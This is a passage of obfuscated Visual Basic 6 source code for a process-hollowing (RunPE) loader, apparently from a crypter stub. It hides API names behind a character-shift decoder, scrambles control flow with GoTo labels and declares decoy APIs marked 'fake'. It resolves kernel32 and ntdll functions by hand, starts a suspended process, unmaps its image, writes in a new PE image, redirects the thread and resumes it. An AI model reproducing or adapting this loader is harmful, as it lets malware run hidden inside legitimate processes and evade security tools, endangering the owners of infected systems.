& Chr$(87) & Chr$(124) & Chr$(98) & Chr$(123) & Chr$(99) & Chr$(97) & Chr$(100) & Chr$(135) & Chr$(96) _
& Chr$(88) & Chr$(69) & Chr$(125) & Chr$(64) & Chr$(97) & Chr$(69) & Chr$(126) & Chr$(82) & Chr$(96) _
& Chr$(128) & Chr$(119) & Chr$(75) & Chr$(66) & Chr$(70) & Chr$(69) & Chr$(70) & Chr$(61) & Chr$(62) _
& Chr$(67) & Chr$(67) & Chr$(64) & Chr$(62) & Chr$(80) & Chr$(61) & Chr$(80) & Chr$(64), True)
GoTo C4xsngzK0Y59Tdiy6kfWVa9C
C4xsngzK0Y59Tdiy6kfWVa9C:
Call OuIaOouUUYiYmOfGbxhu(eIufqYOyfrUUUGYHsHnY)
GoTo KaatSu5CRfzEQkv7qPRK
KaatSu5CRfzEQkv7qPRK:
hUruhuucvxmUuffyGñcb = ñvpHkelyrIYqYmukgkwc
GoTo Qz2kWFqteKO1AOcRq
Qz2kWFqteKO1AOcRq:
If Not hUruhuucvxmUuffyGñcb = 0 Then
GoTo CHEOboleUNj95e4q00lg5N7VC
CHEOboleUNj95e4q00lg5N7VC:
kfuuyjlpOñygfnuYmiHb = KsiMfjcXt(hUruhuucvxmUuffyGñcb, GsUIGUYñogUYldiujHGx(Chr$(89) & Chr$(124) & Chr$(110) & Chr$(113) & Chr$(89) & Chr$(118) _
& Chr$(111) & Chr$(127) & Chr$(110) & Chr$(127) & Chr$(134) & Chr$(100), True))
GoTo rIYqYmukgkwcdpGeyIgG
rIYqYmukgkwcdpGeyIgG:
If Not kfuuyjlpOñygfnuYmiHb = 0 Then
GoTo XEeVofXWypE3jjKeYhM2Jx
XEeVofXWypE3jjKeYhM2Jx:
GvGuaubloyumggagjeYs = True
GoTo K4firSgIMUJdyz3yYihk
K4firSgIMUJdyz3yYihk:
End If
GoTo L27C5Uq2uKeyGyjl0hx8zl
L27C5Uq2uKeyGyjl0hx8zl:
End If
GoTo Ht5f6Bu9tEjAhXyCa7
Ht5f6Bu9tEjAhXyCa7:
End Sub
Public Function KsiMfjcXt(ByVal aubloyumggagjeYsixjU As Long, ByVal sffzñYdGYfuOuioofzyG As String) As Long
GoTo LFGPPOtgL
LFGPPOtgL:
Dim aPoWicPjm As GIgpyIvUlvzriuñzeIuf
GoTo JuDTYS9
JuDTYS9:
Dim Q30s4r8nH As IugwhUruhuucvxmUuffy
GoTo I0g31FqEgu8
I0g31FqEgu8:
Dim C46dpEaRe As GñcbkfuuyjlpOñygfnuY
GoTo FKXp4Df
FKXp4Df:
Call HaYUUUttYkwubyqUGIgp(aPoWicPjm, ByVal aubloyumggagjeYsixjU, utuGriuIwfjjgYfsYaUw)
GoTo Lg9Ypm0kB66W1PxnoKYHp9l
Lg9Ypm0kB66W1PxnoKYHp9l:
If Not aPoWicPjm.e_magic = oyumggagjeYsixjUIqHI Then
GoTo VmRM35KUYBV
VmRM35KUYBV:
Exit Function
GoTo SRetRAJbVikKUS
SRetRAJbVikKUS:
End If
GoTo RqGxirLZUr
RqGxirLZUr:
Call HaYUUUttYkwubyqUGIgp(Q30s4r8nH, ByVal aubloyumggagjeYsixjU + aPoWicPjm.e_lfanew, yeduIoUgIYyjtIGuuotG)
GoTo YxMRcDjBzXZR9Upc1y
YxMRcDjBzXZR9Upc1y:
If Not Q30s4r8nH.Signature = GgeaspgOxqUzñuadyGxu Then
GoTo TKx79SU1DBsW25MgwT
TKx79SU1DBsW25MgwT:
Exit Function
GoTo SaPp56KrqXIRtHeqRXMWHoS
SaPp56KrqXIRtHeqRXMWHoS:
End If
GoTo CJh1Ya2
CJh1Ya2:
Dim lUrcloO0r As Long
GoTo Tt1jxB48MF6UECy2JwtyfjHt
Tt1jxB48MF6UECy2JwtyfjHt:
Dim LImtDAxKI As Long
GoTo TGQ7RUfr7xyzhXaUYAP4t
TGQ7RUfr7xyzhXaUYAP4t:
Dim QxjoSrat0 As Long
GoTo KE7aHbPqKCbVrM4ZdNBr1k
KE7aHbPqKCbVrM4ZdNBr1k:
With Q30s4r8nH.OptionalHeader
GoTo H5L1aFaEIOesCQZJXh6qh
H5L1aFaEIOesCQZJXh6qh:
lUrcloO0r = aubloyumggagjeYsixjU + .DataDirectory(0).VirtualAddress
GoTo WAQxcG76jRFzSOGcpqY6W
WAQxcG76jRFzSOGcpqY6W:
LImtDAxKI = lUrcloO0r + .DataDirectory(0).Size
GoTo PnLeWQOuqY5r4p
PnLeWQOuqY5r4p:
QxjoSrat0 = .ImageBase
GoTo Jl7gG9
Jl7gG9:
End With
GoTo HdoQqoQQdJVkH
HdoQqoQQdJVkH:
Call HaYUUUttYkwubyqUGIgp(C46dpEaRe, ByVal lUrcloO0r, UhulnOIffdUrphGiigdh)
GoTo D01Pp5Dovy6eC3
D01Pp5Dovy6eC3:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo BasuVK0gsOWDMqaySswr72B
BasuVK0gsOWDMqaySswr72B:
Dim rw58c4dLB As Long
GoTo FkCnPmmM1HVkNpCp0en0f
FkCnPmmM1HVkNpCp0en0f:
Dim Jt4AK6ImI As Long
GoTo QeMGROWrfsq
QeMGROWrfsq:
Dim D9TI8nvdL As Long
GoTo SezdLEhOiS
SezdLEhOiS:
With C46dpEaRe
GoTo FdBgxCy6Z2jImHZIYuAIOAKF
FdBgxCy6Z2jImHZIYuAIOAKF:
For qnrjGjIUUcmwxUGIpñcf = 0 To .NumberOfNames - 1
GoTo Kve2ZXt8xXc9j7RBHbk
Kve2ZXt8xXc9j7RBHbk:
HaYUUUttYkwubyqUGIgp Jt4AK6ImI, ByVal QxjoSrat0 + .lpAddressOfNames + qnrjGjIUUcmwxUGIpñcf * 4, 4
GoTo B71162OlbZu9mFTsdsIYMhB
B71162OlbZu9mFTsdsIYMhB:
If eñgUIhuudiusayUHsffz(QxjoSrat0 + Jt4AK6ImI) = sffzñYdGYfuOuioofzyG Then
GoTo EOaj33b1SAQCEAe2LGSe
EOaj33b1SAQCEAe2LGSe:
HaYUUUttYkwubyqUGIgp D9TI8nvdL, ByVal QxjoSrat0 + .lpAddressOfNameOrdinals + qnrjGjIUUcmwxUGIpñcf * 2, 2
GoTo LWvhZsyXV3fyt0nw3UWL
LWvhZsyXV3fyt0nw3UWL:
HaYUUUttYkwubyqUGIgp rw58c4dLB, ByVal QxjoSrat0 + .lpAddressOfFunctions + D9TI8nvdL * 4, 4
GoTo QnGYo2yK11QxI0Q
QnGYo2yK11QxI0Q:
KsiMfjcXt = rw58c4dLB + QxjoSrat0
GoTo CVwBjRehRh1RuX2
CVwBjRehRh1RuX2:
If KsiMfjcXt >= lUrcloO0r And _
KsiMfjcXt <= LImtDAxKI Then
GoTo FaeVP8tJcwR5
FaeVP8tJcwR5:
Call ñYdGYfuOuioofzyGwYtu(KsiMfjcXt, aubloyumggagjeYsixjU, sffzñYdGYfuOuioofzyG)
GoTo DFL6GPLtpDe2SQ23CAEYhlD
DFL6GPLtpDe2SQ23CAEYhlD:
If Not aubloyumggagjeYsixjU = 0 Then
GoTo Rb6LpUBD81OJwa0r
Rb6LpUBD81OJwa0r:
KsiMfjcXt = KsiMfjcXt(aubloyumggagjeYsixjU, sffzñYdGYfuOuioofzyG)
GoTo W1KGL7eiw
W1KGL7eiw:
Else
GoTo VuukHV
VuukHV:
KsiMfjcXt = 0
GoTo FX8bZ5sOQxA9WoTlFCnfMliF
FX8bZ5sOQxA9WoTlFCnfMliF:
End If
GoTo JMqOvIr25hNifJa7e89
JMqOvIr25hNifJa7e89:
End If
GoTo G4rGfiI39xkUldRQG
G4rGfiI39xkUldRQG:
Exit Function
GoTo DnsccOPGCJrRDlDZX0D
DnsccOPGCJrRDlDZX0D:
End If
GoTo LHAqerpoE2qMsLLmAA5KYBjXl
LHAqerpoE2qMsLLmAA5KYBjXl:
Next
GoTo BHTMV5tkcBa4dMeNYRB
BHTMV5tkcBa4dMeNYRB:
End With
GoTo EuZOP92ft2bV12gF1W1I4
EuZOP92ft2bV12gF1W1I4:
End Function
Private Function ñYdGYfuOuioofzyGwYtu( _
ByVal YuHdYuqUcqbiIIvbuGaj As Long, _
ByRef tfñpIijYUGOghgeufGYf As Long, _
ByRef uwUoxkGnkUxrOuIaOouU As String)
GoTo UYiYmOfGbxhuahsYylsd
UYiYmOfGbxhuahsYylsd:
Dim gYytiOiGiplmqnrjGjIU As String
GoTo VpjF7ahpF0JV
VpjF7ahpF0JV:
gYytiOiGiplmqnrjGjIU = eñgUIhuudiusayUHsffz(YuHdYuqUcqbiIIvbuGaj)
GoTo ZYkJIgCZ
ZYkJIgCZ:
If InStr(1, gYytiOiGiplmqnrjGjIU, GsUIGUYñogUYldiujHGx(Chr$(59), True)) Then
GoTo V8yAZs7xu2RnDv
V8yAZs7xu2RnDv:
tfñpIijYUGOghgeufGYf = uGajtfñpIijYUGOghgeu(Split(gYytiOiGiplmqnrjGjIU, GsUIGUYñogUYldiujHGx(Chr$(59), True))(0))
GoTo ZNvd5xukppMa35yoQ5mC9Z
ZNvd5xukppMa35yoQ5mC9Z:
uwUoxkGnkUxrOuIaOouU = Split(gYytiOiGiplmqnrjGjIU, GsUIGUYñogUYldiujHGx(Chr$(59), True))(1)
GoTo V0CESEEFNoiJrgRQskCUsQLpv
V0CESEEFNoiJrgRQskCUsQLpv:
End If
GoTo FDdU0oGXEKR1zfn5gF
FDdU0oGXEKR1zfn5gF:
End Function
Private Function eñgUIhuudiusayUHsffz( _
ByVal YuHdYuqUcqbiIIvbuGaj As Long) As String
GoTo Z2aPYPMh5wloz
Z2aPYPMh5wloz:
Dim qBK8rgYYy As Byte
GoTo SMfiwXZwcf2KNt8v6K7L43Is
SMfiwXZwcf2KNt8v6K7L43Is:
Do
GoTo JXPIIjmT5UF2g5X9fb059
JXPIIjmT5UF2g5X9fb059:
HaYUUUttYkwubyqUGIgp qBK8rgYYy, ByVal YuHdYuqUcqbiIIvbuGaj, 1
GoTo DCCu6IIlRoOmXBRIJIC2H3
DCCu6IIlRoOmXBRIJIC2H3:
YuHdYuqUcqbiIIvbuGaj = YuHdYuqUcqbiIIvbuGaj + 1
GoTo EOfpGJZFtA4
EOfpGJZFtA4:
If qBK8rgYYy = 0 Then Exit Do
GoTo YHebUldaxM3uUZFAayGgaY
YHebUldaxM3uUZFAayGgaY:
eñgUIhuudiusayUHsffz = eñgUIhuudiusayUHsffz & Chr$(qBK8rgYYy)
GoTo XmIjtfTpvoX
XmIjtfTpvoX:
Loop
GoTo A1NWhjb0
A1NWhjb0:
End Function
Public Function GsUIGUYñogUYldiujHGx(ByVal bqJXWwVc8 As String, Optional ByVal r0ztGh1yp As Boolean = False) As String
Dim qnrjGjIUUcmwxUGIpñcf As Long
For qnrjGjIUUcmwxUGIpñcf = 1 To Len(bqJXWwVc8)
GsUIGUYñogUYldiujHGx = GsUIGUYñogUYldiujHGx & Chr$(Asc(Mid$(bqJXWwVc8, qnrjGjIUUcmwxUGIpñcf, 1)) + IIf((r0ztGh1yp = True), -13, 13))
Next qnrjGjIUUcmwxUGIpñcf
End Function
Private Const GgeaspgOxqUzñuadyGxu As Long = &H4550&
Private Const utuGriuIwfjjgYfsYaUw As Long = &H40
Private Const yeduIoUgIYyjtIGuuotG As Long = &HF8
Private Const UhulnOIffdUrphGiigdh As Long = &H28
Private Const iGpkOioGHaYUUUttYkwu As Long = &H28
Dim byqUGIgpyIvUlvzriuñz As String
Dim eIufqYOyfrUUUGYHsHnY As String
Dim pGGGYnGykfIcfykmYYii As String
Dim YtUYdUhicYYGzksYusoH As String
Private Const gOioIugwhUruhuucvxmU As Long = &H10007
Private Const uffyGñcbkfuuyjlpOñyg As Long = &H4
Private Const fnuYmiHbGvGuaubloyum As Long = &H1000
Private Const ggagjeYsixjUIqHIGgea As Long = &H2000
Private Const spgOxqUzñuadyGxuutuG As Long = &H40
Private Type riuIwfjjgYfsYaUwyedu
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type IoUgIYyjtIGuuotGUhul
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Type nOIffdUrphGiigdhiGpk
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type OioGHaYUUUttYkwubyqU
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As nOIffdUrphGiigdhiGpk
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type GIgpyIvUlvzriuñzeIuf
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type qYOyfrUUUGYHsHnYpGGG
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type YnGykfIcfykmYYiiYtUY
VirtualAddress As Long
Size As Long
End Type
Private Type dUhicYYGzksYusoHgOio
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As YnGykfIcfykmYYiiYtUY
End Type
Private Type IugwhUruhuucvxmUuffy
Signature As Long
FileHeader As qYOyfrUUUGYHsHnYpGGG
OptionalHeader As dUhicYYGzksYusoHgOio
End Type
Private Type GñcbkfuuyjlpOñygfnuY
Characteristics As Long
TimeDateStamp As Long
MajorVersion As Integer
MinorVersion As Integer
lpName As Long
Base As Long
NumberOfFunctions As Long
NumberOfNames As Long
lpAddressOfFunctions As Long
lpAddressOfNames As Long
lpAddressOfNameOrdinals As Long
End Type
Private Type miHbGvGuaubloyumggag
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
Characteristics As Long
End Type
Private Declare Function wfjjgYfsYaUwyeduIoUg Lib "WINMM.DLL" (ByVal WwHBqzNU7 As Long) As Long 'fake
Private Declare Function IYyjtIGuuotGUhulnOIf Lib "gdi32" (ByVal lO8SJiOCp As Long) As Long 'fake
Private Declare Function fdUrphGiigdhiGpkOioG Lib "gdi32" (ByVal miAjPSPVg As Long) As Long 'fake
Private Declare Sub HaYUUUttYkwubyqUGIgp Lib "kernel32" Alias "RtlMoveMemory" (ByRef yIzzHykhfgjyYyUaGsUI As Any, ByRef G4Dj3C0qnrjGjIUUcmwxUGIpñcf4 As Any, ByVal zuugIbzigrYuuGughfHl As Long)
Private Declare Function yIvUlvzriuñzeIufqYOy Lib "USER32" Alias "LoadCursorFromFileA" (ByVal MCULwYsDA As String) As Long 'fake
Private Declare Function frUUUGYHsHnYpGGGYnGy Lib "gdi32" (ByVal a9rNNtxxF As Long) As Long 'fake
Private Declare Function kfIcfykmYYiiYtUYdUhi Lib "USER32" Alias "LoadCursorA" (ByVal nyZ3CTDng As Long, ByVal AHgug404o As Long) As Long 'fake
Private Declare Function cYYGzksYusoHgOioIugw Lib "gdi32" (ByVal miAjPSPVg As Long) As Long 'fake
Private hUruhuucvxmUuffyGñcb As Long
Private kfuuyjlpOñygfnuYmiHb As Long
Private GvGuaubloyumggagjeYs As Boolean
Private ixjUIqHIGgeaspgOxqUz As Long
Private ñuadyGxuutuGriuIwfjj As Long
Private gYfsYaUwyeduIoUgIYyj(&HFF) As Byte
Public Function tIGuuotGUhulnOIffdUr() As Long
'This function will be replaced with machine code laterz
'Do not add any public procedure on top of it
GoTo DxeXfvQUECxBfbnhHZmMci3
DxeXfvQUECxBfbnhHZmMci3:
End Function
Public Function GUYñogUYldiujHGxeñgU(ByRef phGiigdhiGpkOioGHaYU() As Byte, Optional UUttYkwubyqUGIgpyIvU As String, Optional ByRef lvzriuñzeIufqYOyfrUU As Long) As Boolean
GoTo UGYHsHnYpGGGYnGykfIc
UGYHsHnYpGGGYnGykfIc:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo GDdeSK2T92rH2gDd1v8DZg
GDdeSK2T92rH2gDd1v8DZg:
Dim aPoWicPjm As GIgpyIvUlvzriuñzeIuf
GoTo fykmYYiiYtUYdUhicYYG
fykmYYiiYtUYdUhicYYG:
Dim Q30s4r8nH As IugwhUruhuucvxmUuffy
GoTo zksYusoHgOioIugwhUru
zksYusoHgOioIugwhUru:
Dim bU5KgCAza As miHbGvGuaubloyumggag
GoTo FStsf2r3AkSN7MNasDhF
FStsf2r3AkSN7MNasDhF:
Dim qE20adkot As riuIwfjjgYfsYaUwyedu
GoTo HmTlUOfJjJHfEJwoekn6TW6Z7
HmTlUOfJjJHfEJwoekn6TW6Z7:
Dim IhWQbZd0V As IoUgIYyjtIGuuotGUhul
GoTo BA9Vyli10121
BA9Vyli10121:
Dim vvxrGnrrJ As OioGHaYUUUttYkwubyqU
GoTo K1YA4pBOLTx6K
K1YA4pBOLTx6K:
Dim X0JeTVr04 As Long
GoTo IJ3Nli
IJ3Nli:
Dim ItjaZZuIl As Long
GoTo SYKvsS
SYKvsS:
Dim aubloyumggagjeYsixjU As Long
GoTo HYzQpdh
HYzQpdh:
If Not GvGuaubloyumggagjeYs Then Exit Function
GoTo Bl5jbRoUlzMVwz4b
Bl5jbRoUlzMVwz4b:
Call HaYUUUttYkwubyqUGIgp(aPoWicPjm, phGiigdhiGpkOioGHaYU(0), utuGriuIwfjjgYfsYaUw)
GoTo I5uoj6qnrjGjIUUcmwxUGIpñcf
I5uoj6qnrjGjIUUcmwxUGIpñcf:
If Not aPoWicPjm.e_magic = oyumggagjeYsixjUIqHI Then
GoTo Xad2e0IZmi8MiD1svfhx
Xad2e0IZmi8MiD1svfhx:
Exit Function
GoTo BzO7atno8muSRNm1
BzO7atno8muSRNm1:
End If
GoTo Yf6lKjCyY
Yf6lKjCyY:
Call HaYUUUttYkwubyqUGIgp(Q30s4r8nH, phGiigdhiGpkOioGHaYU(aPoWicPjm.e_lfanew), yeduIoUgIYyjtIGuuotG)
GoTo ExRn94
ExRn94:
If Not Q30s4r8nH.Signature = GgeaspgOxqUzñuadyGxu Then
GoTo UlEAo9C251uJGfg6s31u
UlEAo9C251uJGfg6s31u:
Exit Function
GoTo MCJ0Lmzwnm
MCJ0Lmzwnm:
End If
GoTo HGaU5ZhGgDevE8T5H
HGaU5ZhGgDevE8T5H:
GoTo MqnutOBm
MqnutOBm: 'kernel32
X0JeTVr04 = uGajtfñpIijYUGOghgeu(GsUIGUYñogUYldiujHGx(Chr$(120) & Chr$(114) & Chr$(127) & Chr$(123) & Chr$(114) & Chr$(121) & Chr$(64) _
& Chr$(63), True))
GoTo AQHEzM0iq5DE5A
AQHEzM0iq5DE5A: 'ntdll
ItjaZZuIl = uGajtfñpIijYUGOghgeu(GsUIGUYñogUYldiujHGx(Chr$(123) & Chr$(129) & Chr$(113) & Chr$(121) & Chr$(121), True))
GoTo DbHzFHw6uaRfITw2uj53
DbHzFHw6uaRfITw2uj53:
If UUttYkwubyqUGIgpyIvU = vbNullString Then
GoTo YNjfWu6sAMhQga2dgy
YNjfWu6sAMhQga2dgy:
UUttYkwubyqUGIgpyIvU = Space(260)
GoTo HWlg8aXhNFg9esb8eGXH
HWlg8aXhNFg9esb8eGXH: 'TK779OFwKGowQqex2E2TlTuleFileNameW
aubloyumggagjeYsixjU = KsiMfjcXt(X0JeTVr04, GsUIGUYñogUYldiujHGx(Chr$(84) & Chr$(114) & Chr$(129) & Chr$(90) & Chr$(124) & Chr$(113) _
& Chr$(130) & Chr$(121) & Chr$(114) & Chr$(83) & Chr$(118) & Chr$(121) & Chr$(114) & Chr$(91) _
& Chr$(110) & Chr$(122) & Chr$(114) & Chr$(100), True))
GoTo NsHfvLCArXvQ6vXQn
NsHfvLCArXvQ6vXQn:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, App.hInstance, StrPtr(UUttYkwubyqUGIgpyIvU), 260
GoTo Yv1LEzZhN6sDqxpy
Yv1LEzZhN6sDqxpy:
End If
GoTo DtiaajzXfuQgAnsD
DtiaajzXfuQgAnsD:
With Q30s4r8nH.OptionalHeader
GoTo huucvxmUuffyGñcbkfuu
huucvxmUuffyGñcbkfuu:
qE20adkot.cb = Len(qE20adkot)
GoTo FzcOyn8K5wRUamF
FzcOyn8K5wRUamF:
'CreateProcessW
aubloyumggagjeYsixjU = KsiMfjcXt(X0JeTVr04, GsUIGUYñogUYldiujHGx(Chr$(80) & Chr$(127) & Chr$(114) & Chr$(110) & Chr$(129) & Chr$(114) _
& Chr$(93) & Chr$(127) & Chr$(124) & Chr$(112) & Chr$(114) & Chr$(128) & Chr$(128) & Chr$(100) _
, True))
GoTo UDwBOO8gu
UDwBOO8gu:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, 0, StrPtr(UUttYkwubyqUGIgpyIvU), 0, 0, 0, uffyGñcbkfuuyjlpOñyg, 0, 0, VarPtr(qE20adkot), VarPtr(IhWQbZd0V)
GoTo PjKoBYDN9xMAI7EbzIDP
PjKoBYDN9xMAI7EbzIDP:
'NtUnmapViewOfSection
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(98) & Chr$(123) & Chr$(122) & Chr$(110) _
& Chr$(125) & Chr$(99) & Chr$(118) & Chr$(114) & Chr$(132) & Chr$(92) & Chr$(115) & Chr$(96) & Chr$(114) _
& Chr$(112) & Chr$(129) & Chr$(118) & Chr$(124) & Chr$(123), True))
GoTo FI5DjBo5
FI5DjBo5:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase
GoTo LAnEeBQb3l
LAnEeBQb3l:
'VirtualAllocEx
aubloyumggagjeYsixjU = KsiMfjcXt(X0JeTVr04, GsUIGUYñogUYldiujHGx(Chr$(99) & Chr$(118) & Chr$(127) & Chr$(129) & Chr$(130) & Chr$(110) _
& Chr$(121) & Chr$(78) & Chr$(121) & Chr$(121) & Chr$(124) & Chr$(112) & Chr$(82) & Chr$(133), True))
GoTo POqI0I6rZ7P
POqI0I6rZ7P:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase, .SizeOfImage, fnuYmiHbGvGuaubloyum Or ggagjeYsixjUIqHIGgea, spgOxqUzñuadyGxuutuG
GoTo GHswW7FK99n6
GHswW7FK99n6:
'NtWriteVirtualMemory
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(100) & Chr$(127) & Chr$(118) & Chr$(129) _
& Chr$(114) & Chr$(99) & Chr$(118) & Chr$(127) & Chr$(129) & Chr$(130) & Chr$(110) & Chr$(121) _
& Chr$(90) & Chr$(114) & Chr$(122) & Chr$(124) & Chr$(127) & Chr$(134), True))
GoTo PBn1UMvrdEc6Dp
PBn1UMvrdEc6Dp:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase, VarPtr(phGiigdhiGpkOioGHaYU(0)), .SizeOfHeaders, 0
GoTo E2tZqDxvNAkmE
E2tZqDxvNAkmE:
For qnrjGjIUUcmwxUGIpñcf = 0 To Q30s4r8nH.FileHeader.NumberOfSections - 1
GoTo CezC802
CezC802:
HaYUUUttYkwubyqUGIgp bU5KgCAza, phGiigdhiGpkOioGHaYU(aPoWicPjm.e_lfanew + yeduIoUgIYyjtIGuuotG + iGpkOioGHaYUUUttYkwu * qnrjGjIUUcmwxUGIpñcf), Len(bU5KgCAza)
GoTo REk5I6n7lAQ0A6PqQFZr
REk5I6n7lAQ0A6PqQFZr:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, .ImageBase + bU5KgCAza.VirtualAddress, VarPtr(phGiigdhiGpkOioGHaYU(bU5KgCAza.PointerToRawData)), bU5KgCAza.SizeOfRawData, 0
GoTo LHD0puRFXl
LHD0puRFXl:
Next qnrjGjIUUcmwxUGIpñcf
GoTo ZZHYzctlaRo7OhMkqWR2ZktZ
ZZHYzctlaRo7OhMkqWR2ZktZ:
vvxrGnrrJ.ContextFlags = gOioIugwhUruhuucvxmU
GoTo CYK0Mrc
CYK0Mrc:
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(84) & Chr$(114) & Chr$(129) & Chr$(80) _
& Chr$(124) & Chr$(123) & Chr$(129) & Chr$(114) & Chr$(133) & Chr$(129) & Chr$(97) & Chr$(117) & Chr$(127) _
& Chr$(114) & Chr$(110) & Chr$(113), True))
GoTo CzGkdKqWxcUD9Q8NfEoC
CzGkdKqWxcUD9Q8NfEoC:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hThread, VarPtr(vvxrGnrrJ)
GoTo TIdwG44g8NfdKvpt
TIdwG44g8NfdKvpt:
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(100) & Chr$(127) & Chr$(118) & Chr$(129) _
& Chr$(114) & Chr$(99) & Chr$(118) & Chr$(127) & Chr$(129) & Chr$(130) & Chr$(110) & Chr$(121) _
& Chr$(90) & Chr$(114) & Chr$(122) & Chr$(124) & Chr$(127) & Chr$(134), True))
GoTo CxNakMrJF2XQm6c
CxNakMrJF2XQm6c:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hProcess, vvxrGnrrJ.Ebx + 8, VarPtr(.ImageBase), 4, 0
GoTo P0TdRIP
P0TdRIP:
vvxrGnrrJ.Eax = .ImageBase + .AddressOfEntryPoint
GoTo Qx3RvPPXO3eWYNPHQ
Qx3RvPPXO3eWYNPHQ:
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(96) & Chr$(114) & Chr$(129) & Chr$(80) _
& Chr$(124) & Chr$(123) & Chr$(129) & Chr$(114) & Chr$(133) & Chr$(129) & Chr$(97) & Chr$(117) & Chr$(127) _
& Chr$(114) & Chr$(110) & Chr$(113), True))
GoTo GiLVmtHg
GiLVmtHg:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hThread, VarPtr(vvxrGnrrJ)
GoTo SvYobkA15DFb9s
SvYobkA15DFb9s:
'NtResumeThread
aubloyumggagjeYsixjU = KsiMfjcXt(ItjaZZuIl, GsUIGUYñogUYldiujHGx(Chr$(91) & Chr$(129) & Chr$(95) & Chr$(114) & Chr$(128) & Chr$(130) _
& Chr$(122) & Chr$(114) & Chr$(97) & Chr$(117) & Chr$(127) & Chr$(114) & Chr$(110) & Chr$(113) _
, True))
GoTo ZDRlH1vx3wfTTv9yRutuPz
ZDRlH1vx3wfTTv9yRutuPz:
yjlpOñygfnuYmiHbGvGu aubloyumggagjeYsixjU, IhWQbZd0V.hThread, 0
GoTo DUbpND
DUbpND:
lvzriuñzeIufqYOyfrUU = IhWQbZd0V.hProcess
GoTo DRUCyhIISCEXrud
DRUCyhIISCEXrud:
End With
GoTo CCnQS6bidcCkQqsslsvcC
CCnQS6bidcCkQqsslsvcC:
GUYñogUYldiujHGxeñgU = True
GoTo ZWphB9tzDdyGv5ARPmoUcUz
ZWphB9tzDdyGv5ARPmoUcUz:
End Function
Public Function yjlpOñygfnuYmiHbGvGu(ByVal aubloyumggagjeYsixjU As Long, ParamArray IqHIGgeaspgOxqUzñuad()) As Long
GoTo yGxuutuGriuIwfjjgYfs
yGxuutuGriuIwfjjgYfs:
Dim c05VSFvKp As Long
GoTo YaUwyeduIoUgIYyjtIGu
YaUwyeduIoUgIYyjtIGu:
Dim qnrjGjIUUcmwxUGIpñcf As Long
GoTo SCWUA9AKd7OWeRS
SCWUA9AKd7OWeRS:
Dim bqJXWwVc8 As String
GoTo PFpdFMLp
PFpdFMLp:
Dim kJjqYk6tK As String
